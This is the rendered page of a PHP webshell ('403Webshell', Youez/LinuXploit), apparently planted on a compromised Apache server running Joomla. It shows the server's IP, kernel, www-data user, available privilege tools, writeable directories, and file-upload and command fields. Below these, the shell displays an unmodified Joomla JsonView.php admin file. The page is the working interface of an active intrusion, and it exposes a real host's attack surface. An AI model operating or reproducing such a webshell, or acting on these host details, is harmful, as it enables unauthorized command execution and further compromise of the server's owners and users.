403Webshell
Server IP : 172.67.191.97  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pts/administrator/components/com_admin/src/View/Sysinfo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pts/administrator/components/com_admin/src/View/Sysinfo/JsonView.php
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Admin\Administrator\View\Sysinfo;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\AbstractView;
use Joomla\CMS\User\CurrentUserInterface;
use Joomla\CMS\User\CurrentUserTrait;
use Joomla\Component\Admin\Administrator\Model\SysinfoModel;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Sysinfo View class for the Admin component
 *
 * @since  3.5
 */
class JsonView extends AbstractView implements CurrentUserInterface
{
    use CurrentUserTrait;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   3.5
     *
     * @throws  \Exception
     */
    public function display($tpl = null): void
    {
        // Access check.
        if (!$this->getCurrentUser()->authorise('core.admin')) {
            throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403);
        }

        header('MIME-Version: 1.0');
        header('Content-Disposition: attachment; filename="systeminfo-' . date('c') . '.json"');
        header('Content-Transfer-Encoding: binary');

        $data = $this->getLayoutData();

        echo json_encode($data, JSON_PRETTY_PRINT);

        Factory::getApplication()->close();
    }

    /**
     * Get the data for the view
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutData(): array
    {
        /** @var SysinfoModel $model */
        $model = $this->getModel();

        return [
            'info'        => $model->getSafeData('info'),
            'phpSettings' => $model->getSafeData('phpSettings'),
            'config'      => $model->getSafeData('config'),
            'directories' => $model->getSafeData('directory', true),
            'phpInfo'     => $model->getSafeData('phpInfoArray'),
            'extensions'  => $model->getSafeData('extensions'),
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit